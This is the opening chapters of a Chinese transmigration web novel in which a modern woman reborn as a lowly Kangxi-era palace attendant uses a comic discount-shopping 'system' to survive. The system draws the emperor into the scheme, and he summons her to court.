《娘娘靠拼夕夕宠冠六宫(清穿)》
1. 官女子岑氏
康熙十七年,三月二十六日。
夜,乾清宫围房。
“小主,你醒醒啊,您不要死啊。”
一个带着哭腔的、细细的声音在耳边响起。
岑盐絮费力地掀开眼皮。
视线花了半晌,才勉强对焦。
头顶是褐色的老旧面料的帐子,随着不知从哪里钻进来的风晃荡。
“主子?您醒了?”
岑盐絮循声望去,只见一个穿着灰布旧衣、梳着把子头的小宫女端着一个粗瓷碗,怯生生地蹲坐在床边,眼睛又红又肿,像是哭了很久。
随着视线的恢复,五感一点一点沉甸甸地压回来。
先是一种渗进骨头缝里的湿冷,然后是一股子难以言喻的气味,像是常年不见阳光的潮湿气混着药草的苦,闷闷地堵在鼻腔里。
她扭了扭僵硬的脖子,打量四周。
地方很小,陈设简陋得近乎破败,掉漆的木桌,陈旧的凳子,远处有个灰扑扑的梳妆台,铜镜模模糊糊,只能照出个影影绰绰的人形。
窗户纸有些地方破了,漏进几缕惨淡的天光,也漏进嗖嗖的冷风。
她不是在电脑前熬夜加班吗?那杯冰块都融化了的咖啡还搁在桌上,就因为打开拼夕夕摸了一会儿鱼,就眼前一黑,心口一阵绞痛,来到了这里?
这是哪儿?
念头刚起,太阳穴便猛地一抽,无数纷乱的、不属于她的记忆碎片争先恐后地涌了出来,挤得她脑仁生疼。
零碎的画面——一家几口压抑的哭泣,从温暖的南方到大雪纷飞的北方,一路颠簸的马车,红墙黄瓦的宫墙,严厉的教导嬷嬷,捧高踩低的老太监,之后便再也见不到市井人间。
还有……一个模糊的、属于男人的、带着酒气的沉重身躯。
她从一个远在南方沿海的县令之女,成了紫禁城乾清宫的御茶房的煮茶宫女,一个意外,摇身一变,又成了住在这乾清宫围房中,不必再伺候人却也无名无份的官女子。
岑盐絮猛地吸了一口冷气,喉咙干涩得发疼,引起一阵低低的咳嗽。
“水……”岑盐絮的声音沙哑得自己都认不出。
春熙赶扶起她,将碗沿凑到她唇边。
岑盐絮小口小口地吞咽着,喉咙那刀割似的疼才稍稍缓解。
“主子,您吓死奴婢了,您都昏睡两天了……”春熙的眼泪又掉了下来,“李公公他们……他们都走了,说您……说您怕是挺不过去,便去另寻高就了……”
岑盐絮靠在硬邦邦的枕头上,喘了口气,慢慢消化着脑海里的信息和眼前的处境。
如今是康熙十七年,原主也叫岑盐絮,是乾清宫御茶房的煮茶宫女,两月前,不知走了什么运,被指去侍了一回寝,照料醉酒的皇帝,结果龙泽没沾到,回来就一场风寒病倒了。
那夜虽未发生什么事,不过依照规矩,原主还是一跃成为住在乾清宫围房的官女子,说是主子,其实就是地位最低的那一等,比普通宫女好不了多少。
且她胆怯畏缩,不得上心,后来又伤寒缠身,昏昏沉沉了几日,病情却不见好转,身边的人见势不妙,跑得干干净净,只剩下身边这个小宫女春熙。
就在这绝望里,原来的岑盐絮悄无声息地没了。
换成了她这个熬夜猝死的现代灵魂。
“有吃的吗?”岑盐絮哑声问,胃里空得发慌,一阵阵抽着难受。
春熙脸上掠过一丝窘迫:“还有一点粥,午后奴婢去膳房求来的,就是有点凉了,奴婢这就去给您热热?”
岑盐絮点了点头。
春熙端着那碗几乎是清可见底的米汤一样的粥,小跑着出去——这屋里连个小炉子都没有,得去隔壁院子借火。
岑盐絮靠在床头,听着那破窗户纸被风吹得呼啦作响,看着这四壁萧然,心头那点侥幸彻底凉透了。
穿越了,还是穿成了康熙后宫的一个小透明,病死在即,无人问津。
这开局,简直是地狱级别的难度。
胃里饿得灼痛,身上一阵冷一阵热,脑袋也昏沉沉的,连动动手指的力气都快没了。
难道刚活过来,就又要这么憋屈地死一次?
就在她意识又开始模糊,几乎要认命地闭眼时,一道极其突兀的、毫无感情的电子音直接砸进了她的脑海深处。
【检测到强烈生存意愿,环境判定中……本世界拼夕夕下载量为零……符合绑定条件……拼夕夕购物商城系统正在激活……10%…50%…100%……绑定成功!】
岑盐絮:???
什么玩意儿,她都惨成这样了吗,竟然还能幻听。
眼前忽然亮起一片淡蓝色的、半透明的光屏,上面浮现出方方正正的字体——拼夕夕购物商城系统绑定成功!拼的多省的多!我们的目标是让全世界都用上拼夕夕!
岑盐絮瞪大了眼睛,看着那悬浮的光屏,差点一口气没上来。
拼夕夕商城系统?难道就是因为猝死前最后摸鱼看了一眼,这玩意儿阴魂不散跟着自己到清朝来了?
还真是不放弃任何一个用户,拼夕夕,真有你的!
【叮!检测到宿主生命体征极度微弱,启动紧急援助程序!】冰冷的电子音再次响起。
【现发布限时拉新任务:成功邀请一位新用户注册本系统,即可获得健康回馈大礼包!】
【任务时限:一炷香。】
【失败惩罚:系统卸载,宿主生命能量无法维持。】
岑盐絮的心刚提起来一点,又猛地沉了下去。
一炷香?十五分钟!
她现在连下床都难,去哪里找新用户?
卸载系统不就是直接要她死吗?
【无需您行动!只需动动意识分享拉新链接,锁定新用户人选,系统即刻为您运作,健康大奖,等您来拿!】像是听到了她的抱怨,系统非常积极地蹦出这样一句话。
岑盐絮的目光落在了空荡荡的门口——春熙去热粥还没回来。
春熙是她身边仅剩的小宫女,原主之前落魄成那样,她都没选择离开。
且她和原主是同乡,家里亲人都仰仗着原主那位县令父亲的鼻息过活,轻易不会对自己做出背叛之事。
在拉新后果未知的情况下,拉她做新用户,应该还算靠谱。
就在她挣扎着集中意念分享活动,想要选择春熙时,系统面板上又弹出一行细细的、却异常清晰的小字:
【温馨提示:拉新对象身份地位及气运直接影响健康回馈礼包效果。邀请宫女春熙,仅可轻微缓解症状,宿主请谨慎选择。】
岑盐絮用已经滞涩的意识缓慢思考。
身份地位?无论是宫中,还是整个天下,有谁的地位能越得过皇帝?
邀请……皇帝?
【温馨提示:邀请本朝天子——爱新觉罗·玄烨,可获得病痛全消、健康无恙效果,宿主是否确认选择?】
岑盐絮这才发现,随着自己意识的变化,分享页面可供选择的用户中多出一个康熙的名字。
一个是勉强续命,前途未卜;一个是直接获得一副不再生病的、健康的的身体!
在这缺医少药、一场风寒就能要人命的古代,后者意味着什么,不言而喻。
巨大的诱惑像一把火,烧得她几乎忘了虚弱。
可是,邀请皇帝,会有什么后果?
一切都是未知的,岑盐絮意识愈发模糊,她只知道,再不选择,她就再无得救的机会了。
这是她唯一能抓住的、彻底摆脱这病弱身子的机会!
搏一把!必须搏一把!
岑盐絮用尽最后一丝力气,摒除所有杂
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念,将全部的意念都集中在那代表至高皇权的名字上。
【恭喜宿主,新用户注册链接已分享,目标:爱新觉罗·玄烨。】
提示音落下的瞬间,岑盐絮眼前彻底一黑,失去了所有意识。
……
乾清宫东暖阁。
夜色深沉,灯烛通明,却静得可怕。
因孝昭仁皇后钮祜禄氏于月前崩逝,宫中尚在哀期,处处弥漫着一种压抑的寂静。
年轻的康熙皇帝坐在御案后,面容清俊却难掩疲惫,眉宇间带着一丝沉郁,正俯首批阅奏折。
钮祜禄氏皇后的离去,让他心绪不佳,宫人们行走做事都格外小心翼翼,不敢发出半点多余声响。
就在他蘸了朱笔,正准备在一份奏折上批红时,动作猛地顿住了。
他的眼前,毫无征兆地地亮起了一片极刺眼的、花里胡哨的光!
那光扭曲着,汇聚成一个他从未见过的古怪方框,里面闪烁着几个硕大无比、缺胳膊少腿的汉字,伴随着一阵极其喧闹的音调,直往他脑子里钻。
【拼夕夕邀请您注册!点击即享新人专属福利!】
康熙瞳孔骤然一缩,握着朱笔的手瞬间收紧,指节泛白。
他甚至下意识地猛地向后靠了一下,打翻了手边一盏温度正好的茶水,褐色的茶汤泼洒御案上,浸染了奏折,他却浑然未觉。
“何物?!”他低喝一声,声音带着帝王惯有的威严,却也掩不住那一丝惊疑。
是妖术?是幻象?还是自己忧劳过度,癔症了?
他猛地闭上眼,深吸一口气,再睁开——
那诡异刺目的蓝色方框依旧悬浮在他眼前,甚至那几个字符还在欢快地跳动闪烁,仿佛在催促着他。
侍立的太监宫女见皇帝突然打翻茶盏、面色惊疑不定,吓得魂飞魄散,噗通噗通跪了一地,头深深叩下,大气不敢出,以为是自己哪里做得不好,惹得皇上烦怒。
康熙却根本无暇顾及他们。
他死死盯着系统屏幕,心脏剧烈地跳动着,额角青筋微突。
多年的帝王生涯让他迅速强迫自己冷静下来。
他目光锐利地扫过四周,跪满一地的奴才们神态惊恐,不似作伪,且他们眼神涣散,并无焦点,显然……看不到他眼前的这东西。
唯有他能看见。
这究竟是祸是福?
拼夕夕又是何意?
“享新人福利”……听起来倒不像是要取人性命。
康熙凝神,尝试着去理解那光框的含义,他谨慎地没有立刻动作,而是用意志力去感知。
但仅仅是意念微动,稍稍触碰到那几个字,光框便立刻发生了变化。
【注册成功!恭喜您成为拼夕夕新用户!】
……像强买强卖。
康熙都愣了一瞬,这拼夕夕,竟如此霸道?
一行新的、更小的字符跳出,那喧闹的音调也停止了。
【新客福利发放中……】
几乎就在这行字出现的同时,康熙清晰地感觉到,一股温和却磅礴的暖流涌入他体内,迅速流遍四肢百骸,连日来的疲惫和沉郁竟被一扫而空,精神为之一振,耳目都比以往更加清明!
这……
康熙彻底愣住了,向来从容沉静的眼眸中第一次出现了错愕又惊喜的神情。
他低头看了看自己的手,又感受了一□□内那充沛的精力,再抬头看向那已经变得安静、却依旧存在的光幕,发现上面的字又变了。
【新客福利已发放,等待主账号操作中。】
几条宫道之外的围房,彻底昏死过去的岑盐絮,苍白的脸上逐渐恢复了一丝血色,呼吸变得均匀而有力,身上烫人的热度,正飞速地退去。
【恭喜宿主拉新成功!健康回馈礼包发放中……】
2. 被褥
春熙端着那碗好不容易才借火温热的薄粥,小步快速地往回走,心里头七上八下的,主子好不容易醒过来,可别再出什么事了。
她轻手轻脚地推开门,嘴里念叨着:“主子,粥热好了,您趁热……”
话没说完,她就愣住了。
床上,岑盐絮竟然自己坐了起来,虽然脸色还是有点苍白,但那双眼睛却亮得出奇,再不似从前那般畏缩怯弱。
更让她吃惊的是,主子之前那副病得只剩一口气的样子好像消失了?呼吸听着也顺畅多了,不再是那种拉风箱似的吓人动静。
“主子?您感觉好些了?”春熙又惊又喜,又急又稳地端着手里的碗,几步凑到床边。
岑盐絮感受着自己的身体,那股沉重的病痛感确实消退了大半,虽然还有些虚弱,但和刚才那种濒死的感觉已是天壤之别。
不愧是康熙爷,这健康回馈礼包,真的有用!
她心头狂喜,面上却不敢显露太多,只是对着春熙露出一个虚弱的笑容:“嗯,感觉身上松快了些许,许是熬过最凶险的时候了。”
春熙喜极而泣,连忙把粥递过去:“太好了!真是老天爷保佑!主子,您快喝点粥,有了力气,病才好得快!”
岑盐絮接过碗,她确实是饿得很了,碗里那清可见底的米粥似乎没那么难以入口,她小口小口地喝着,暖流进入胃里,终于缓解了那股灼人的饥饿感。
【叮!为修复宿主生命体征,系统能量不足,现开放部分功能。】
冰冷的电子音再次在她脑海中响起。
能量不足?还剩多少能量?要怎么补充?不会没过几天,这金手指先自己一步死翘翘吧?岑盐絮心里嘀咕。
【当前能量:20%,能量补充方式请宿主自行探索,除非宿主主动解绑或宿主死亡,系统不会消失,请宿主放心。】
岑盐絮放心了,系统继续介绍开放的部分功能。
【每日一文秒杀功能已解锁!】
【系统每日将根据宿主所处环境,不定时触发随机任务,宿主完成任务后,系统将自动刷新四件商品,支付一文钱可秒杀任意一件商品,如有需要,其余三件商品可按原价购买。】
正想着,光屏再次弹出,最上方显示着当前时间,下面是一行文字。
【今日任务:邀请一人参与修补寝居破损窗纸拼团活动。】
任务完成后,秒杀页面应该就会开启,四件商品,总有一件能用的上吧!
一想到这,岑盐絮顿时觉得有了盼头,干劲十足。
而且,岑盐絮抬头看向那呼呼漏风的破窗户,就算没有系统要求,这窗纸也非补不可。
眼下才三月,京里的寒意尚未消散,身子骨再好,也经受不住这样日日吹风。
岑盐絮正打算叫春熙帮忙,系统面板上却又跳出一行小字提示:
【拼单规则:宿主需对拼单对象说出暗号“xx,一起拼单修窗户吗?”,对方若同意,即拼单成功;若拒绝,则拼团失败,今日秒杀通道关闭。】
【任务倒计时:半小时。】
这什么古怪要求……岑盐絮一阵无语,这拼夕夕系统为了提高知名度,演都不演了。
她只好指着窗户上的破洞,不太自在地对春熙开口:“春熙,一起拼单修窗户吗?”
春熙愣了一下,随即抓住了修窗户的重点,赶忙屈膝应道:“是,奴婢这就去找材料来把窗户补好!”
她话音才落,系统就提示:【恭喜宿主拼单成功,请尽快完成任务!】
春熙一走,岑盐絮才惊觉自己方才的言行有多突兀,一阵尴尬涌上心头。
此时,她不禁有些庆幸这宫里的等级分明,自己就算话说得再古怪,做奴婢的也只会觉得是主子心思难测,是自己没理解到位,绝不会怀疑是她出了问题,她们实在太擅长自我pua了。
没过多久,春熙手里拿着几片破布和半碗不知名的浆糊回来,一进门就怯生生跪到岑盐絮跟前,像是怕被责怪办事不力。
岑盐絮心里不是滋味,赶紧伸手把她扶起来。
看着那些材料,不禁咬牙,这过的究竟是什么日子啊!
等天亮了,她一定要去营造司问个明白,哪有这样欺负人的!
不过眼下最要紧的还是完成任务,岑盐絮掀被下床,不顾春喜慌张的劝阻,接过她手中的破布。
“让奴婢来糊窗就好,小主您快歇着!”春熙急得声音都发颤,哪有主子和奴婢一起干活的道理!
“风吹得我头疼,两个人动作快些,别愣着,过来帮忙。”岑盐絮故意把语气放重了些。
春熙不敢再多话,就着昏暗的天光,把那几个破洞勉强糊了起来。
虽然贴得歪歪扭扭,不甚美观,但风确实被挡住了大半,屋里似乎也暖和了一点。
刚放下浆糊碗,春熙就赶忙搀住岑絮盐的手臂,语气感动又不安:“小主,您快回床上歇着,奴婢为您守夜。”
岑盐絮任她扶着往床边走,没有作声——她眼前的系统面板再一次刷新了。
【每日任务完成!秒杀功能已开启!】
与此同时,文字下方出现了四个方框,里面是四样商品的图片和名称。
【湿厕纸(4袋装)】、【碎花雪纺连衣裙】、【便携式手动榨汁机】、【被褥一套】。
每样商品下面都有两个价格,下方是正常的原价,被一根横线划去,上方是秒杀价“一文钱”。
岑盐絮不禁畅想,系统会像她从前看的那些小说一样,大开金手指,改变这群古代人的认知,让他们认为系统商城出厂的商品是合理的存在吗?
【没有改变认知的义务,请宿主自行做出合理解释。】系统在对自己无利的时候非常冷酷无情。
这下麻烦大了。
连衣裙和榨汁机在这清朝后宫作用不大,也拿不出手。
湿厕纸倒是不错,但紧迫性没那么强,目前急需的还是被褥……
岑盐絮下意识地摸了摸身下硬邦邦的薄被。
温暖干燥的被褥,对现在的她来说,简直是雪中送炭。
况且,她目光移向春熙。
这丫头夜夜睡在脚踏上,刚才糊窗户时,她看到春熙手上处处是冻疮。
这替换下的旧被褥,正好可以给她用。
至于主仆两个一起睡床,得了吧,刚才一起干活已经够出格了,岑盐絮还不想被当作无视礼法的疯子。
最终,岑盐絮试着点击了一下被褥,惊喜地发现竟然可以选择款式。
在一众清新田园风和卡通美羊羊风中,岑盐絮选出一件足够低调、足够符合这个时代的复古风。
随后,系统跳转到付款页面,并提示支付成功后,商品将立刻出现,让岑盐絮做好准备。
岑盐絮心念一动,找了个借口支开春熙:“春熙,你去烧些热水,把汤婆子灌满。”
春熙不疑有他,答应着出去了。
确认春熙走远,岑盐絮立刻翻出原主放到枕下的匣子,拿出一文钱,心中默念支付。
【支付成功!商品已发放。】
只见床尾微光一闪,赫然出现了一叠叠得整整齐齐的被褥,颜色是素净的靛蓝色,布料厚实柔软,针脚细密,看起来和宫里普通的被褥样式差别不大。
岑
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盐絮迫不及待地摸上去,棉被的厚实暖和让她瞬间有了满足感。
没多久,春熙揣着滚烫的汤婆子回来,一进门,她就瞪大了眼睛,难以置信地看着床上那套被褥。
“主、主子……这、这是……”春熙结巴了,这屋里之前有什么,她一清二楚,这被褥是打哪来的?
岑盐絮早已想好了说辞,她压低声音,脸上带着点后怕:“我想起之前伺候皇上得了银锞子赏赐,一直存着没敢用。”
她适时地咳嗽了两声,显得愈发可怜脆弱:“可实在怕极了再生病,方才狠了狠心,出去托了个面相老实的小太监,使了银子,求他帮忙去内务府捎带了床旧被褥进来。”
春熙听得一愣一愣的,看看那簇新的被褥——这看着也不像旧的啊?她自动脑补了那个小太监大概是从哪个出宫采办的人手里倒腾来的“新”旧货,连忙点头如捣蒜:“奴婢明白!奴婢一定守口如瓶!主子您放心!”
看来主子真是病怕了,连压箱底的保命钱都拿出来了。
岑盐絮让春熙帮着把旧被褥换下,铺上柔软干燥的新被褥。
阻止了春熙要把旧被褥放进柜子里的动作:“这屋里没个暖炉,你晚上守夜难熬,就把换下来的这床被褥铺到脚踏上吧。”
春熙感动又诚惶诚恐:“小主,这于理不合啊!要是被人看见,对您的名声不好的!”
岑盐絮故作伤感:“连你也不听我的话了是不是?我这院子,人人避之不及,哪会有人来。”
触及主子伤心事,春熙非常懊恼,只能连声答应,心想着:她一定要好好伺候主子,不辜负她一片心意!
熄了蜡烛,屋内忙碌的动静也随之沉寂下来。
岑盐絮钻进新铺好的被窝,干燥暖和的被褥裹住身子,让她舒服地轻轻喟叹一声。
总算解决了保暖的基本生存问题!以后不必再挨冻了!
这个时候,她才发现系统面板不知何时又刷新出几行文字。
【商品已送达,是否发布评价?】
【温馨提示:购物发表不少于30字评价,配三张图片,并分享到拼小圈,可享好评返现活动,随机返还不定额银两。】
岑盐絮顿时来了精神,穿越前,她对这类活动懒得理会,眼下她只盼着这样的好事越多越好!
她草草写了一段流水账,东拉西凑总算凑够了三十个字,图片也对着昏暗的屋内随意拍了几张,便直接提交分享。
这时她才注意到,系统账号的用户名竟沿用着她上辈子的拼多多昵称——“山今雪”。
其实想一想她和原主真的很有缘分,出生在同一天,出生的那天都是初雪,父母参照同样的诗句起了给她们同样的名字。
只可惜重生以来,只有宫里的记忆是清晰的,原主曾经的遭遇、家人的模样都非常的模糊,像隔着一层纱似的看不清。
收回飘远的神思,岑盐絮看向系统界面。
评论提交,系统很快返还了她二钱银子。
岑盐絮撑着疲惫算了算这笔账:一两是十钱,一钱是一百文,这次秒杀只花了一文,相当于净赚了一百九十九文。
困意如山倒来,她把这点意外之财藏到枕头底下,心满意足地沉入了梦乡。
而此刻,乾清宫东暖阁内。
睡不着的康熙熬夜处理完因皇后大丧挤压了几天的奏折,而那淡蓝色光幕依旧悬在眼前。
这拼夕夕自几个时辰前注册成功后,便一直停显示【等待主账号操作中】,再无动静。
就在他几乎要习惯它的存在时,光幕突然刷新了。
【主账号“山今雪”的拼小圈更新了】。
3. 营造司
康熙凝神看向光幕。
上面赫然是一条新动态:
“没想到皇宫里除了冷宫还有那么破败的地方……”
“今天完成了修补破窗户纸的任务,成功!换来一套被褥,暖和多了!”
下面附着三张黑黢黢的图片,依稀能辨认出一个极其简陋的屋角、一张破旧的板床、一扇糊着补丁的窗户。
光线极其昏暗,根本看不清具体细节,更无从判断究竟是宫中何处。
康熙的目光瞬间锐利起来,身体不自觉地微微前倾,指尖在御案上无声叩击
。
这位主账号的持有者,不仅就在宫里,似乎还能通过这拼夕夕获取实物?
“山今雪……”康熙低声念着这个陌生的名字,眸色深沉。
“来人。”他沉声唤道。
梁九功立刻快步进来,躬身听命。
“悄无声息地去查,”康熙的声音听不出情绪,“宫里各处,所有名字与‘山今雪’三字相关的宫女、嬷嬷、或嫔妃,尤其留意是否有处境艰难、居所破败者。一有消息,即刻回禀。”
“嗻。”梁九功虽心中疑窦丛生,却不敢多问一字,利落地打了个千儿,低头退了出去。
暖阁内重归寂静,康熙却再也无心批阅奏折。
他的目光反复流连于那条拼小圈,发现图片下方还有一行字符,夹杂着阿拉伯数字——“……”
这是何意?似是英吉利文字,却又组合得莫名其妙,他竟完全无法解读。
心神稍分,意识便不经意地触及那系统面板。
只见画面一跳,转瞬便弹出一个花里胡哨的页面,上头依旧是那些缺笔少画的汉字,写着:新疆棉加厚四季可用被褥床垫被芯整套棉被床上用品。
康熙不由皱眉,怎会有如此语序不通、堆砌辞藻的语句?
细看之下,图片竟还可左右滑动。
其上展示的被褥图案光怪陆离:有站立着、头比身子还大、还戴着蝴蝶结的羊;有模样憨傻的熊;有长相怪异的人偶;也有样式寻常些的,与那山今雪图片中所见的靛蓝色被褥极为相似。
莫非这拼夕夕是个商铺?那山今雪的被子便是由此购得?
这念头刚起,系统提示音便随之响起:【已触发“跟风买一件”活动:是否购买主账号同款被褥?】
康熙浏览过那五花八门的图案,心头犹豫,这等奇异之物定然十分昂贵吧。
【百亿补贴来袭!您的幸运击败99%的用户!一套被褥只需一两银子哦!】
这画面上做工精细、厚实饱满的被褥,竟只需一两银子?康熙心下讶异,最终选择了与山今雪图片中相似的那款素净的靛蓝色被褥,意念微动,选择了购买。
*
翌日清晨,阳光勉强透过新糊的窗纸,洒进屋内。
岑盐絮醒来,只觉得身上是许久未有过的松快与温暖,她伸了个懒腰,决定不能再坐以待毙。
“春熙,随我去一趟营造司。”她起身吩咐,“这窗户纸糊得潦草,还得让他们派人来仔细修整一番。”
“是,主子。”春熙赶忙伺候她洗漱更衣。眼见主子气色好转,她心里也踏实不少。
这是岑盐絮穿越后第一次走出这间小围房。
她这才看清,自己所居之处不过是围房的一个小院落,院里并排三间矮房,她这间是最偏僻也是最小的。
除她这间外,西间住了为姓刘的小主,也是官女子,中间最大的一间门窗紧闭,落了锁,显然空置已久。
一路走出去,路过围房大大小小几个同样规格的院子,有的院子里甚至没住一个主子。
这宫里最是捧高踩低、等级分明,原主没能成功侍寝,这稍大些的宫殿,空着都不给她住。
岑盐絮收回视线,深吸一口清晨寒冷的空气,带着春熙朝着记忆里营造司的方向走去。
途径几条宫道,却见一队队小太监们抬着一摞摞簇新的被褥来来往往,行色匆匆。
岑盐絮揉了揉眼睛,那被褥的颜色花样——靛蓝底、纹样素净——竟与她昨夜秒杀来的那套一模一样!
岑盐絮心下惊疑不定,忍不住喊住一个路过行礼的小太监:“这位公公,请问这些被褥是……”
那小太监见是个面生的官女子,衣着也朴素,但态度还算恭敬,停下脚步回道:“回小主的话,奴才也不知具体。只听说是天降祥瑞,昨儿个夜里,乾清宫那边突然就多了好些被褥,皇上仁德,念及各位小主,特旨分发给各宫低位的主子们呢!”
岑盐絮心里咯噔一下,面上却不敢显露,只笑道:“原是如此,多谢公公。”
小太监行了个礼,匆匆抬着被子走了。
岑盐絮站在原地,看着那些眼熟至极的被褥一抬抬从眼前经过,心里乱成一团麻,这到底是怎么回事?
与她相反,春熙的心倒是安定了几分,看来自己主子还是有些门路的,竟然连送往乾清宫当祥瑞的被子都能提前拿到。
春熙和这宫里的绝大多数人都一样,认为这祥瑞是人为的,毕竟,这天上掉被褥的好事,古往今来从未有过。
只是他们这位万岁爷也是奇怪,别人造祥瑞都是玉石宝物,怎得这位康熙帝就那么接地气?
主仆二人满腹疑惑地来到营造司,找到主事的太监,说明来意——窗户破损漏风,请求派人修缮。
那主事太监原本态度懒散,可一听她要修补窗户,又仔细打量了她几眼,神色忽然就变得有些古怪
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,甚至带上了几分不易察觉的谨慎和探究。
“不知小主如何称呼?”他试探着问。
“我姓岑。”岑盐絮回道,心里觉得这太监的态度转变实在突兀。
谁知那太监一听“岑”字,眼角似乎跳了一下,态度瞬间变得更加恭敬,甚至可以说是诚惶诚恐:“原来是岑小主,您的事,马虎不得,容奴才亲自随您去瞧瞧,看该如何办理才好。”
说罢,他竟真的起身,示意岑盐絮带路。
岑盐絮被他这过于热情的态度搞得一头雾水,只得带着他往回走。
一路上,那太监旁敲侧击地问了些无关紧要的问题,诸如“小主近来身体可好”、“在围房住得可还习惯”之类,听得岑盐絮愈发警惕,只含糊应答。
到了地方,主事太监仔细查看了那扇糊着补丁的窗户,脸色变了变,连连告罪:“是奴才们疏忽!竟让小主住在这等漏风之所!小主放心,奴才即刻便安排人手来为您更换窗纸,定用最好的窗户纸,给您糊得严严实实!”
他的态度好得让岑盐絮感到不安,正想再说些什么,那太监却一躬身,急匆匆地走了。
“哎?公公?”岑盐絮喊了一声,那人却头也不回,眨眼就没了影。
“这算什么事?”岑盐絮回到屋里,心里又是纳闷又是憋气,“莫非是怕我纠缠,索性跑了?这营造司的人也太不靠谱了!”
被岑盐絮念叨着的主事太监,以最快的速度赶到了乾清宫。
东暖阁内,康熙听完他的汇报,看着梁九功刚刚呈报上来的名册,指尖在岑盐絮三个字上轻轻一点。
“山今为岑,盐絮……”他沉吟片刻,嘴角掠过一丝了然的笑意,“‘撒盐空中差可拟’、‘未若柳絮因风起’咏的皆是雪,山今雪,岑盐絮,原来如此。”
他抬眸,对垂手侍立的梁九功道:“人可带来了?”
“回万岁爷,魏珠已经去传旨了,想必很快就到。”
*
岑盐絮正兀自生着那太监的闷气,春熙在一旁劝着,岑盐絮想着要不要再去一趟,院门外却突然传来一阵动静。
一个面白无须、身着体面宫服的太监在一群小太监的簇拥下走至门口,声音不高,却带着不容置疑的威严:“请问,这里可是岑盐絮岑官女子住处?”
春熙认出这是有名有姓的御前太监,吓得脸都白了,哆哆嗦嗦地扶住岑盐絮站起身。
原主过去是御前行走的人,自然也认识他,岑盐絮心里猛地一沉,强自镇定地迎出去:“正是,不知公公所为何事?”
那太监目光在她身上扫过,脸上露出一丝不疏离也不谄媚、礼貌得恰到好处的微笑,拂尘一摆:“咱家魏珠,皇上口谕,召岑小主即刻前往乾清宫见驾。”
4. 面圣
跟着魏珠走在通往乾清宫的宫道上,岑盐絮的心七上八下,手心都有些冒汗。
清晨的寒风刮在脸上,反而让她更清醒地意识到眼下的处境——她,一个刚死里逃生、地位卑微的官女子,竟被皇帝点名召见。
她飞快地在脑子里过了一遍自己穿越后的言行——除了绑定拼夕夕系统和用一文钱秒杀了床被子,似乎……也没做什么太出格的事吧?难道系统被发现了?不可能啊。
还是原主之前惹过什么自己不知道的麻烦?
她努力回想,奈何原主关于宫廷的记忆本就模糊,除了谨小慎微、战战兢兢,实在想不起有什么特别之处。
她偷偷觑了一眼身前魏珠的背影,这位御前大太监步履平稳,面容平静,丝毫看不出端倪,这让岑盐絮心里更没底了。
乾清宫巍峨矗立,红墙黄瓦在晨光中显得格外肃穆。
魏珠在东暖阁门外停下,尖细着嗓子通报:“皇上,岑官女子到了。”
“进来。”里面传来一道低沉而平稳的男声,听不出情绪。
岑盐絮深吸一口气,压下心头的忐忑,低着头,跟着魏珠走了进去。一
股淡淡的龙涎香与墨香混合的气息萦绕在鼻尖,她不敢四处张望,依着记忆里原主学过的规矩,双腿并拢,双手交叠,微微屈膝,上身前倾,同时低头:“妾岑盐絮,给皇上请安,皇上万福。”
声音因紧张而微微发颤。
“不必多礼。”康熙的声音从上方传来,“抬起头来。”
岑盐絮依言平身,缓缓抬头,视线先是落在明黄色的袍角上,然后慢慢上移,终于看清了御案后那位年轻帝王的模样。
她呼吸微微一滞。
先前记忆模糊,只知道是个男人,此刻真切看到,才明白什么叫天潢贵胄,龙章凤姿。
面前的帝王看起来不过二十出头,面容清俊,眉宇间带着一丝尚未完全褪去的倦色,却更显出一种沉静的威仪。
他鼻梁高挺,下颌线条清晰利落,一双墨玉般的眸子正看着她,带着审视,也带着一丝不易察觉的探究,虽坐在案后,也能看出身量颇高,肩背挺直。
抛开那身慑人的帝王威压不提,这长相、这身材,简直比她前世谈过的那些男朋友都要出色得多,气质加成下,比起那些顶流男星也毫不逊色。
想到自己众多的前男友,岑盐絮的思维忍不住发散了一下,以选对象的标准再次思考,史书上说这位康熙帝子嗣众多……这位帝王那方面能力想必也很出众。
她前世工作压力大时,为了解压,对床榻之事向来热衷且放得开,看到合眼缘的也会主动相约,各取所需,此刻看着这张俊脸,想到未来可能的侍寝,心里那点惶恐竟莫名被一丝跃跃欲试的期待给压了下去,觉得这波穿越好像……也不全亏?
而康熙也在打量着她。
梁九功查来的名册上说她是汉军旗,岭南县令之女,此刻看来,确实带着几分江南水乡的柔媚,不像宫中多数满蒙嫔妃那般棱角分明。
她脸色仍有些病后的苍白,却掩不住五官的精致,尤其是那双眼睛,清澈明亮,带着怯意,却不畏缩,身段也好,脖颈纤细,腰身不盈一握,即便穿着官女子分例内的素色旗装,也显得窈窕有致。
他的目光不经意地扫过她的头侧左上方——那里悬浮着一个极小的、淡蓝色的、不凝神去找便自动隐藏的方形光幕,上面的字符古怪却熟悉。
山今雪,果然是她。
就在两人各怀心思默默对视的当口,一阵极其不合时宜的“咕噜噜”声突然从岑盐絮的腹部传了出来。
声音在寂静的暖阁内显得格外清晰。
岑盐絮的脸唰地一下红透了,耳朵根都烧得慌,恨不得立刻找个地缝钻进去!
穿来后的事情一件接一件,让她才意识到,自己从穿来到现在,除了昨晚那碗清可见底的米粥,滴水未进,早已饥肠辘辘。
几乎同时,她和康熙都注意到,她左上方那个小光屏闪动了一下,跳出一行新的文字:
【今日随机任务:与一位身份高于您的宫廷成员共进早膳。完成任务,方可开启今日一文秒杀活动。】
岑盐絮顿时头皮发麻,脚趾抠地。
这破系统,早不发布晚不发布,偏偏在这种尴尬到极点的时候跳出来!
她在这皇宫人生地不熟的,唯一说的上话的高位就是刚刚才认识的皇帝,难道要和皇帝共进早膳?这算什么任务!怎么完成?
岑盐絮慌忙低下头,声音有些抖:“妾身失仪,请皇上恕罪!”
不仅要认错,还要想办法完成任务,岑盐絮心里已经把拼夕夕系统骂了八百遍。
暖阁内静默了一瞬,落针可闻。
就在岑盐絮紧张得心跳如擂鼓,以为要受责罚时
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,却听到康熙的声音淡淡响起,似乎并未动怒:“起来吧,看来是朕疏忽了,竟忘了你还未用膳。”
他转向侍立一旁的梁九功:“传膳,添一副碗筷,朕与她一同用些。”
梁九功眼中闪过一丝诧异,但立刻压下,躬身应道:“嗻。”
心里却暗自嘀咕,皇上可从未留过哪位低位嫔妃或是官女子在乾清宫用过膳,这岑官女子自昨儿个晚上便被皇上挂在心上,暗自大肆寻找,还有那忽然冒出来的被褥,别人都认为那祥瑞是人为,可他身为皇帝的身边人,最是明白,那祥瑞是真的从天而降。
莫非这岑官女子与那祥瑞有什么关联?
